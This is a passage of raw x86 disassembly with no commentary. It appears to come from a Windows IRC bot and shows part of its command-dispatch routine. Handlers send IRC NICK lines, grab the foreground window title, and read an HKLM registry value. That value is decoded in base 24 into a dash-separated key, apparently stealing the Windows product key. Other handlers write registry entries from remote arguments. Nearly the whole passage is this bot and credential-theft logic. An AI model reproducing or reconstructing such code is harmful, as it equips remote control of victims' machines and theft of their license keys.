movsx eax, byte ptr [eax]
cmp eax, 58h
jnz short loc_40A90C
loc_40A905: ; CODE XREF: sub_40A8AD+48j
mov eax, [ebp+var_20]
inc eax
mov [ebp+var_20], eax
loc_40A90C: ; CODE XREF: sub_40A8AD+33j
; sub_40A8AD+56j
push [ebp+arg_0]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_28], eax
mov eax, [ebp+var_20]
mov [ebp+var_14], eax
jmp short loc_40A927
; ---------------------------------------------------------------------------
loc_40A920: ; CODE XREF: sub_40A8AD+116j
mov eax, [ebp+var_14]
inc eax
mov [ebp+var_14], eax
loc_40A927: ; CODE XREF: sub_40A8AD+71j
mov eax, [ebp+var_14]
cmp eax, [ebp+var_28]
jge loc_40A9C8
mov eax, [ebp+arg_0]
add eax, [ebp+var_14]
movsx eax, byte ptr [eax]
push eax
call sub_416DE4 ; tolower
pop ecx
mov [ebp+var_8], eax
cmp [ebp+var_8], 30h
jl short loc_40A95D
cmp [ebp+var_8], 39h
jg short loc_40A95D
mov eax, [ebp+var_8]
sub eax, 30h
mov [ebp+var_10], eax
jmp short loc_40A9A0
; ---------------------------------------------------------------------------
loc_40A95D: ; CODE XREF: sub_40A8AD+9Dj
; sub_40A8AD+A3j
cmp [ebp+var_8], 61h
jl short loc_40A99C
cmp [ebp+var_8], 66h
jg short loc_40A99C
and [ebp+var_24], 0
jmp short loc_40A976
; ---------------------------------------------------------------------------
loc_40A96F: ; CODE XREF: sub_40A8AD:loc_40A998j
mov eax, [ebp+var_24]
inc eax
mov [ebp+var_24], eax
loc_40A976: ; CODE XREF: sub_40A8AD+C0j
mov eax, [ebp+var_24]
movsx eax, [ebp+eax+var_1C]
test eax, eax
jz short loc_40A99A
mov eax, [ebp+var_24]
movsx eax, [ebp+eax+var_1C]
cmp [ebp+var_8], eax
jnz short loc_40A998
mov eax, [ebp+var_24]
add eax, 0Ah
mov [ebp+var_10], eax
loc_40A998: ; CODE XREF: sub_40A8AD+E0j
jmp short loc_40A96F
; ---------------------------------------------------------------------------
loc_40A99A: ; CODE XREF: sub_40A8AD+D3j
jmp short loc_40A9A0
; ---------------------------------------------------------------------------
loc_40A99C: ; CODE XREF: sub_40A8AD+B4j
; sub_40A8AD+BAj
xor eax, eax
jmp short loc_40A9CB
; ---------------------------------------------------------------------------
loc_40A9A0: ; CODE XREF: sub_40A8AD+AEj
; sub_40A8AD:loc_40A99Aj
mov eax, [ebp+var_28]
sub eax, [ebp+var_14]
dec eax
push eax
push 10h
call sub_40A86D
pop ecx
pop ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
imul eax, [ebp+var_10]
mov ecx, [ebp+var_C]
add ecx, eax
mov [ebp+var_C], ecx
jmp loc_40A920
; ---------------------------------------------------------------------------
loc_40A9C8: ; CODE XREF: sub_40A8AD+80j
mov eax, [ebp+var_C]
loc_40A9CB: ; CODE XREF: sub_40A8AD+F1j
pop edi
pop esi
leave
retn
sub_40A8AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A9CF proc near ; CODE XREF: sub_40D871+C95p
; sub_40D871+D9Cp
var_6424 = dword ptr -6424h
var_6420 = dword ptr -6420h
var_641C = dword ptr -641Ch
var_6418 = dword ptr -6418h
var_6414 = dword ptr -6414h
var_6410 = dword ptr -6410h
var_640C = dword ptr -640Ch
var_6408 = dword ptr -6408h
var_6404 = dword ptr -6404h
var_6400 = dword ptr -6400h
var_63FC = dword ptr -63FCh
var_63F8 = dword ptr -63F8h
var_63F4 = dword ptr -63F4h
var_63F0 = dword ptr -63F0h
var_63EC = dword ptr -63ECh
var_63E8 = dword ptr -63E8h
var_63E4 = dword ptr -63E4h
var_63E0 = dword ptr -63E0h
var_63DC = dword ptr -63DCh
var_63D8 = dword ptr -63D8h
var_63D4 = dword ptr -63D4h
var_63D0 = dword ptr -63D0h
var_63CC = dword ptr -63CCh
var_63C8 = dword ptr -63C8h
var_63C4 = dword ptr -63C4h
var_63C0 = dword ptr -63C0h
var_63BC = dword ptr -63BCh
var_63B8 = dword ptr -63B8h
var_63B4 = word ptr -63B4h
var_63B2 = word ptr -63B2h
var_63B0 = dword ptr -63B0h
var_63A4 = dword ptr -63A4h
var_63A0 = byte ptr -63A0h
var_639C = dword ptr -639Ch
var_6398 = byte ptr -6398h
var_6397 = byte ptr -6397h
var_6396 = byte ptr -6396h
var_6395 = byte ptr -6395h
var_6394 = byte ptr -6394h
var_6393 = byte ptr -6393h
var_6392 = byte ptr -6392h
var_6391 = byte ptr -6391h
var_6390 = byte ptr -6390h
var_638F = byte ptr -638Fh
var_638E = byte ptr -638Eh
var_638D = byte ptr -638Dh
var_638C = dword ptr -638Ch
var_6388 = byte ptr -6388h
var_5F84 = dword ptr -5F84h
var_5F80 = byte ptr -5F80h
var_5B7C = dword ptr -5B7Ch
var_5B78 = dword ptr -5B78h
var_5B74 = byte ptr -5B74h
var_5A70 = dword ptr -5A70h
var_5A6C = dword ptr -5A6Ch
var_5A68 = dword ptr -5A68h
var_5A64 = byte ptr -5A64h
var_1A64 = dword ptr -1A64h
var_1A60 = byte ptr -1A60h
var_A60 = dword ptr -0A60h
var_A5C = byte ptr -0A5Ch
var_A38 = byte ptr -0A38h
var_A30 = dword ptr -0A30h
var_A2C = dword ptr -0A2Ch
var_A28 = dword ptr -0A28h
var_A24 = dword ptr -0A24h
var_A20 = dword ptr -0A20h
var_A1C = dword ptr -0A1Ch
var_A18 = byte ptr -0A18h
var_9F8 = dword ptr -9F8h
var_9F4 = byte ptr -9F4h
var_9EF = byte ptr -9EFh
var_9EA = byte ptr -9EAh
var_9E5 = byte ptr -9E5h
var_9E0 = byte ptr -9E0h
var_9DB = byte ptr -9DBh
var_9D8 = byte ptr -9D8h
var_9A4 = byte ptr -9A4h
var_970 = byte ptr -970h
var_8DC = dword ptr -8DCh
var_8D8 = byte ptr -8D8h
var_8D3 = byte ptr -8D3h
var_8D2 = byte ptr -8D2h
var_8CD = byte ptr -8CDh
var_8CC = byte ptr -8CCh
var_8C7 = byte ptr -8C7h
var_8C6 = byte ptr -8C6h
var_8C1 = byte ptr -8C1h
var_8C0 = byte ptr -8C0h
var_8BB = byte ptr -8BBh
var_8B8 = byte ptr -8B8h
var_8A0 = byte ptr -8A0h
var_720 = dword ptr -720h
var_71C = dword ptr -71Ch
var_718 = byte ptr -718h
var_59B = byte ptr -59Bh
var_598 = byte ptr -598h
var_418 = dword ptr -418h
var_414 = byte ptr -414h
var_214 = byte ptr -214h
var_1F0 = byte ptr -1F0h
var_1CC = byte ptr -1CCh
var_1A8 = dword ptr -1A8h
var_1A4 = byte ptr -1A4h
var_183 = byte ptr -183h
var_83 = dword ptr -83h
var_7F = byte ptr -7Fh
var_19 = byte ptr -19h
var_B = byte ptr -0Bh
var_8 = byte ptr -8
var_5 = dword ptr -5
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
mov eax, 6424h
call sub_416BC0
push esi
push edi
mov eax, [ebp+arg_14]
push dword ptr [eax]
call sub_40ED38
pop ecx
mov [ebp+var_1A8], eax
push [ebp+arg_0]
lea eax, [ebp+var_1A4]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
push [ebp+arg_8]
lea eax, [ebp+var_183]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
mov eax, [ebp+arg_C]
mov [ebp+var_83], eax
push 7Ah
push [ebp+arg_10]
lea eax, [ebp+var_7F]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov [ebp+var_5], 1
mov eax, [ebp+var_1A8]
sub eax, dword_419F18
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40AA59
lea eax, [ebp+var_1A4]
push eax
call sub_415AF0
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40AA59: ; CODE XREF: sub_40A9CF+76j
mov eax, [ebp+var_1A8]
sub eax, dword_419F0C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40AACF
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jnz short loc_40AAAC
lea eax, [ebp+var_214]
push eax
lea eax, [ebp+var_1F0]
push eax
lea eax, [ebp+var_1CC]
push eax
call sub_40668F
add esp, 0Ch
lea eax, [ebp+var_1CC]
push eax
push offset aNickS ; "NICK %s"
call sub_40D6CB
pop ecx
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40AAAC: ; CODE XREF: sub_40A9CF+A6j
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call sub_40D7E5
pop ecx
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
push offset aNickS ; "NICK %s"
call sub_40D6CB
pop ecx
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40AACF: ; CODE XREF: sub_40A9CF+9Dj
mov eax, [ebp+var_1A8]
sub eax, dword_419EF8
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40AB21
push 200h
lea eax, [ebp+var_414]
push eax
call ds:dword_4171D8 ; GetForegroundWindow
push eax
call ds:dword_4171E4 ; GetWindowTextA
test eax, eax
jle short loc_40AB1C
lea eax, [ebp+var_414]
push eax
push offset dword_419EDC
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
loc_40AB1C: ; CODE XREF: sub_40A9CF+130j
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40AB21: ; CODE XREF: sub_40A9CF+113j
mov eax, [ebp+var_1A8]
sub eax, dword_419ED0
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40AB56
mov eax, [ebp+arg_14]
push dword ptr [eax+8]
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_4077DD
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40AB56: ; CODE XREF: sub_40A9CF+165j
mov eax, [ebp+var_1A8]
sub eax, dword_419EC4
neg eax
sbb eax, eax
inc eax
test eax, eax
jz loc_40AC89
mov eax, [ebp+arg_18]
cmp dword ptr [eax+4], 0
jz loc_40AC84
push 180h
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
lea eax, [ebp+var_598]
push eax
call sub_407A56
add esp, 0Ch
lea eax, [ebp+var_598]
push eax
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_418], eax
cmp [ebp+var_418], 3
jle short loc_40ABFE
push offset dword_419EC0
mov eax, [ebp+var_418]
lea eax, [ebp+eax+var_59B]
push eax
call sub_416DDE ; strcmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40ABFE
mov eax, [ebp+var_418]
and [ebp+eax+var_59B], 0
lea eax, [ebp+var_598]
push eax
call sub_4078A0
pop ecx
lea eax, [ebp+var_598]
push eax
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_418], eax
loc_40ABFE: ; CODE XREF: sub_40A9CF+1E1j
; sub_40A9CF+1FFj
mov eax, [ebp+var_418]
cdq
push 4
pop ecx
idiv ecx
mov ecx, [ebp+var_418]
sub ecx, eax
cmp ecx, 180h
jbe short loc_40AC1F
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40AC1F: ; CODE XREF: sub_40A9CF+249j
push [ebp+var_418]
lea eax, [ebp+var_598]
push eax
call sub_40EF29
pop ecx
pop ecx
push [ebp+var_418]
lea eax, [ebp+var_598]
push eax
call sub_40EF59
pop ecx
pop ecx
mov [ebp+var_418], eax
push [ebp+var_418]
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_598]
push eax
call sub_40EB4E
add esp, 0Ch
lea eax, [ebp+var_718]
push eax
push offset dword_419E9C
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
loc_40AC84: ; CODE XREF: sub_40A9CF+1A7j
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40AC89: ; CODE XREF: sub_40A9CF+19Aj
mov eax, [ebp+var_1A8]
sub eax, dword_419E90
neg eax
sbb eax, eax
inc eax
test eax, eax
jz loc_40AD84
mov eax, [ebp+arg_18]
cmp dword ptr [eax+4], 0
jz loc_40AD7F
mov eax, [ebp+arg_18]
mov eax, [eax+4]
movsx eax, byte ptr [eax]
cmp eax, 3Dh
jnz loc_40AD7F
mov eax, [ebp+arg_18]
mov eax, [eax+4]
inc eax
push eax
call sub_40EC96
pop ecx
test eax, eax
jz loc_40AD7F
mov eax, [ebp+arg_18]
mov eax, [eax+4]
inc eax
push eax
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_71C], eax
mov eax, [ebp+var_71C]
cdq
push 4
pop ecx
idiv ecx
mov ecx, [ebp+var_71C]
sub ecx, eax
cmp ecx, 180h
jbe short loc_40AD0C
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40AD0C: ; CODE XREF: sub_40A9CF+336j
lea eax, [ebp+var_8A0]
push eax
mov eax, [ebp+arg_18]
mov eax, [eax+4]
inc eax
push eax
call sub_40E9C9
pop ecx
pop ecx
mov [ebp+var_720], eax
push [ebp+var_720]
lea eax, [ebp+var_8A0]
push eax
call sub_40F040
pop ecx
pop ecx
mov [ebp+var_720], eax
push [ebp+var_720]
lea eax, [ebp+var_8A0]
push eax
call sub_40EF41
pop ecx
pop ecx
mov eax, [ebp+var_720]
and [ebp+eax+var_8A0], 0
lea eax, [ebp+var_8A0]
push eax
push offset dword_419E70
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
loc_40AD7F: ; CODE XREF: sub_40A9CF+2DAj
; sub_40A9CF+2ECj ...
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40AD84: ; CODE XREF: sub_40A9CF+2CDj
mov eax, [ebp+var_1A8]
sub eax, dword_419E60
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40ADB2
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_406643
pop ecx
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40ADB2: ; CODE XREF: sub_40A9CF+3C8j
mov eax, [ebp+var_1A8]
sub eax, dword_419E50
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40ADD9
lea eax, [ebp+var_1A4]
push eax
call sub_4064BF
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40ADD9: ; CODE XREF: sub_40A9CF+3F6j
mov eax, [ebp+var_1A8]
sub eax, dword_419E48
neg eax
sbb eax, eax
inc eax
test eax, eax
jz loc_40B0B6
and [ebp+var_9F8], 0
mov [ebp+var_A1C], 0C8h
push 0Ch
pop ecx
mov esi, offset dword_419E14
lea edi, [ebp+var_9D8]
rep movsd
movsb
push 5
pop ecx
mov esi, offset dword_419DFC
lea edi, [ebp+var_8B8]
rep movsd
movsb
lea eax, [ebp+var_9D8]
push eax
call sub_4105FB
pop ecx
lea eax, [ebp+var_9F8]
push eax
push 20019h
push 0
lea eax, [ebp+var_9D8]
push eax
push 80000002h
call ds:dword_417008 ; RegOpenKeyExA
test eax, eax
jz short loc_40AE7D
lea eax, [ebp+var_9D8]
push eax
call sub_4105AD
pop ecx
cmp [ebp+var_9F8], 0
jz short loc_40AE78
push [ebp+var_9F8]
call ds:dword_417028 ; RegCloseKey
loc_40AE78: ; CODE XREF: sub_40A9CF+49Bj
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40AE7D: ; CODE XREF: sub_40A9CF+485j
lea eax, [ebp+var_9D8]
push eax
call sub_4105AD
pop ecx
lea eax, [ebp+var_8B8]
push eax
call sub_4105FB
pop ecx
lea eax, [ebp+var_A1C]
push eax
lea eax, [ebp+var_9A4]
push eax
push 0
push 0
lea eax, [ebp+var_8B8]
push eax
push [ebp+var_9F8]
call ds:dword_41700C ; RegQueryValueExA
test eax, eax
jz short loc_40AEE7
lea eax, [ebp+var_8B8]
push eax
call sub_4105AD
pop ecx
cmp [ebp+var_9F8], 0
jz short loc_40AEE2
push [ebp+var_9F8]
call ds:dword_417028 ; RegCloseKey
loc_40AEE2: ; CODE XREF: sub_40A9CF+505j
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40AEE7: ; CODE XREF: sub_40A9CF+4EFj
lea eax, [ebp+var_8B8]
push eax
call sub_4105AD
pop ecx
push [ebp+var_9F8]
call ds:dword_417028 ; RegCloseKey
push 7
pop ecx
mov esi, offset dword_419DDC
lea edi, [ebp+var_A18]
rep movsd
movsb
lea eax, [ebp+var_A18]
push eax
call sub_4105FB
pop ecx
and [ebp+var_9DB], 0
mov [ebp+var_8DC], 18h
jmp short loc_40AF3E
; ---------------------------------------------------------------------------
loc_40AF31: ; CODE XREF: sub_40A9CF+60Bj
mov eax, [ebp+var_8DC]
dec eax
mov [ebp+var_8DC], eax
loc_40AF3E: ; CODE XREF: sub_40A9CF+560j
cmp [ebp+var_8DC], 0
jl loc_40AFDF
and [ebp+var_A20], 0
mov [ebp+var_A24], 0Eh
jmp short loc_40AF6B
; ---------------------------------------------------------------------------
loc_40AF5E: ; CODE XREF: sub_40A9CF+5EFj
mov eax, [ebp+var_A24]
dec eax
mov [ebp+var_A24], eax
loc_40AF6B: ; CODE XREF: sub_40A9CF+58Dj
cmp [ebp+var_A24], 0
jl short loc_40AFC0
mov eax, [ebp+var_A20]
shl eax, 8
mov ecx, [ebp+var_A24]
movzx ecx, [ebp+ecx+var_970]
add eax, ecx
mov [ebp+var_A20], eax
mov eax, [ebp+var_A20]
cdq
push 18h
pop ecx
idiv ecx
mov ecx, [ebp+var_A24]
mov [ebp+ecx+var_970], al
mov eax, [ebp+var_A20]
cdq
push 18h
pop ecx
idiv ecx
mov [ebp+var_A20], edx
jmp short loc_40AF5E
; ---------------------------------------------------------------------------
loc_40AFC0: ; CODE XREF: sub_40A9CF+5A3j
mov eax, [ebp+var_8DC]
mov ecx, [ebp+var_A20]
mov cl, [ebp+ecx+var_A18]
mov [ebp+eax+var_9F4], cl
jmp loc_40AF31
; ---------------------------------------------------------------------------
loc_40AFDF: ; CODE XREF: sub_40A9CF+576j
lea eax, [ebp+var_A18]
push eax
call sub_4105AD
pop ecx
and [ebp+var_8BB], 0
mov [ebp+var_8C1], 2Dh
mov al, [ebp+var_8C1]
mov [ebp+var_8C7], al
mov al, [ebp+var_8C7]
mov [ebp+var_8CD], al
mov al, [ebp+var_8CD]
mov [ebp+var_8D3], al
push 5
lea eax, [ebp+var_9F4]
push eax
lea eax, [ebp+var_8D8]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 5
lea eax, [ebp+var_9EF]
push eax
lea eax, [ebp+var_8D2]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 5
lea eax, [ebp+var_9EA]
push eax
lea eax, [ebp+var_8CC]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 5
lea eax, [ebp+var_9E5]
push eax
lea eax, [ebp+var_8C6]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 5
lea eax, [ebp+var_9E0]
push eax
lea eax, [ebp+var_8C0]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
lea eax, [ebp+var_8D8]
push eax
push offset aS ; "%s"
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B0B6: ; CODE XREF: sub_40A9CF+41Dj
mov eax, [ebp+var_1A8]
sub eax, dword_419DCC
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B11C
mov [ebp+var_8], 1
movsx eax, [ebp+var_19]
test eax, eax
jz short loc_40B0E6
lea eax, [ebp+var_1A4]
push eax
call sub_411D68
pop ecx
jmp short loc_40B117
; ---------------------------------------------------------------------------
loc_40B0E6: ; CODE XREF: sub_40A9CF+706j
movsx eax, [ebp+var_B]
test eax, eax
jz short loc_40B0FD
lea eax, [ebp+var_1A4]
push eax
call sub_4123F6
pop ecx
jmp short loc_40B117
; ---------------------------------------------------------------------------
loc_40B0FD: ; CODE XREF: sub_40A9CF+71Dj
lea eax, [ebp+var_1A4]
push eax
call sub_411D68
pop ecx
lea eax, [ebp+var_1A4]
push eax
call sub_4123F6
pop ecx
loc_40B117: ; CODE XREF: sub_40A9CF+715j
; sub_40A9CF+72Cj
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B11C: ; CODE XREF: sub_40A9CF+6FAj
mov eax, [ebp+var_1A8]
sub eax, dword_419DBC
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B143
lea eax, [ebp+var_1A4]
push eax
call sub_414EB0
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B143: ; CODE XREF: sub_40A9CF+760j
mov eax, [ebp+var_1A8]
sub eax, dword_419DB0
neg eax
sbb eax, eax
inc eax
test eax, eax
jz loc_40B247
push 8
pop ecx
mov esi, offset dword_419D8C
lea edi, [ebp+var_A5C]
rep movsd
movsb
mov esi, offset dword_419D84
lea edi, [ebp+var_A38]
movsd
movsw
movsx eax, [ebp+var_A38]
mov ecx, off_41DA68
movsx ecx, byte ptr [ecx]
sub eax, ecx
neg eax
sbb eax, eax
inc eax
mov [ebp+var_A30], eax
cmp [ebp+var_A30], 0
jz short loc_40B1AD
mov [ebp+var_63E4], offset dword_419D78
jmp short loc_40B1B7
; ---------------------------------------------------------------------------
loc_40B1AD: ; CODE XREF: sub_40A9CF+7D0j
mov [ebp+var_63E4], offset dword_419D68
loc_40B1B7: ; CODE XREF: sub_40A9CF+7DCj
mov eax, [ebp+var_63E4]
mov [ebp+var_A28], eax
cmp [ebp+var_A30], 0
jz short loc_40B1D8
mov [ebp+var_63E8], offset aThisBuildIsFul ; "This build is fully functional"
jmp short loc_40B1E2
; ---------------------------------------------------------------------------
loc_40B1D8: ; CODE XREF: sub_40A9CF+7FBj
mov [ebp+var_63E8], offset aThisBuildIsBro ; "This build is broken and will not funct"...
loc_40B1E2: ; CODE XREF: sub_40A9CF+807j
mov eax, [ebp+var_63E8]
mov [ebp+var_A2C], eax
lea eax, [ebp+var_A5C]
push eax
call sub_4105FB
pop ecx
push [ebp+var_A2C]
push [ebp+var_A28]
mov eax, dword_41EC30
and eax, 0FFFFh
push eax
movsx eax, byte ptr dword_41DA48
and eax, 0FFh
push eax
lea eax, [ebp+var_A5C]
push eax
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 18h
lea eax, [ebp+var_A5C]
push eax
call sub_4105AD
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B247: ; CODE XREF: sub_40A9CF+787j
mov eax, [ebp+var_1A8]
sub eax, dword_419D08
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B28E
mov eax, [ebp+arg_14]
push dword ptr [eax+14h]
mov eax, [ebp+arg_14]
push dword ptr [eax+10h]
mov eax, [ebp+arg_14]
push dword ptr [eax+0Ch]
mov eax, [ebp+arg_14]
push dword ptr [eax+8]
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_405E45
add esp, 18h
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B28E: ; CODE XREF: sub_40A9CF+88Bj
mov eax, [ebp+var_1A8]
sub eax, dword_419CFC
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B2C5
mov eax, [ebp+arg_18]
add eax, 4
push eax
mov eax, [ebp+arg_14]
add eax, 4
push eax
lea eax, [ebp+var_1A4]
push eax
call sub_4167DD
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B2C5: ; CODE XREF: sub_40A9CF+8D2j
mov eax, [ebp+var_1A8]
sub eax, dword_419CF0
neg eax
sbb eax, eax
inc eax
test eax, eax
jnz short loc_40B2EF
mov eax, [ebp+var_1A8]
sub eax, dword_419CE4
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B300
loc_40B2EF: ; CODE XREF: sub_40A9CF+909j
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
call sub_40D74D
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B300: ; CODE XREF: sub_40A9CF+91Ej
mov eax, [ebp+var_1A8]
sub eax, dword_419CD4
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B335
mov eax, [ebp+arg_14]
push dword ptr [eax+8]
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_403260
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B335: ; CODE XREF: sub_40A9CF+944j
mov eax, [ebp+var_1A8]
sub eax, dword_419CC8
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B36A
mov eax, [ebp+arg_18]
push dword ptr [eax+8]
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_40260D
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B36A: ; CODE XREF: sub_40A9CF+979j
mov eax, [ebp+var_1A8]
sub eax, dword_419CB8
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B3A5
mov eax, [ebp+arg_14]
push dword ptr [eax+0Ch]
mov eax, [ebp+arg_14]
push dword ptr [eax+8]
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_406509
add esp, 10h
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B3A5: ; CODE XREF: sub_40A9CF+9AEj
mov eax, [ebp+var_1A8]
sub eax, dword_419CA8
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B3DA
mov eax, [ebp+arg_18]
push dword ptr [eax+8]
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_41665C
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B3DA: ; CODE XREF: sub_40A9CF+9E9j
mov eax, [ebp+var_1A8]
sub eax, dword_419C98
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B426
mov eax, [ebp+arg_18]
cmp dword ptr [eax+4], 0
jnz short loc_40B3FD
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B3FD: ; CODE XREF: sub_40A9CF+A27j
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
push 80000001h
call sub_401000
pop ecx
pop ecx
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
push 80000002h
call sub_401000
pop ecx
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B426: ; CODE XREF: sub_40A9CF+A1Ej
mov eax, [ebp+var_1A8]
sub eax, dword_419C88
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B44C
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
call sub_401146
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B44C: ; CODE XREF: sub_40A9CF+A6Aj
mov eax, [ebp+var_1A8]
sub eax, dword_419C7C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B47D
push 0
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_4017AA
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B47D: ; CODE XREF: sub_40A9CF+A90j
mov eax, [ebp+var_1A8]
sub eax, dword_419C70
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B4AE
push 1
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_4017AA
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B4AE: ; CODE XREF: sub_40A9CF+AC1j
mov eax, [ebp+var_1A8]
sub eax, dword_419C64
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B4D5
lea eax, [ebp+var_1A4]
push eax
call sub_409BF1
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B4D5: ; CODE XREF: sub_40A9CF+AF2j
mov eax, [ebp+var_1A8]
sub eax, dword_419C5C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B508
push offset dword_41EF48
push offset dword_419C4C
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B508: ; CODE XREF: sub_40A9CF+B19j
mov eax, [ebp+var_1A8]
sub eax, dword_419C40
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B536
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_413FE7
pop ecx
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B536: ; CODE XREF: sub_40A9CF+B4Cj
mov eax, [ebp+var_1A8]
sub eax, dword_419C34
neg eax
sbb eax, eax
inc eax
test eax, eax
jnz short loc_40B575
mov eax, [ebp+var_1A8]
sub eax, dword_419C28
neg eax
sbb eax, eax
inc eax
test eax, eax
jnz short loc_40B575
mov eax, [ebp+var_1A8]
sub eax, dword_419C1C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B5A7
loc_40B575: ; CODE XREF: sub_40A9CF+B7Aj
; sub_40A9CF+B8Fj
mov eax, [ebp+arg_14]
push dword ptr [eax+14h]
mov eax, [ebp+arg_14]
push dword ptr [eax+10h]
mov eax, [ebp+arg_14]
push dword ptr [eax+0Ch]
mov eax, [ebp+arg_14]
push dword ptr [eax+8]
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_413AB0
add esp, 18h
jmp loc_40C912
; ---------------------------------------------------------------------------
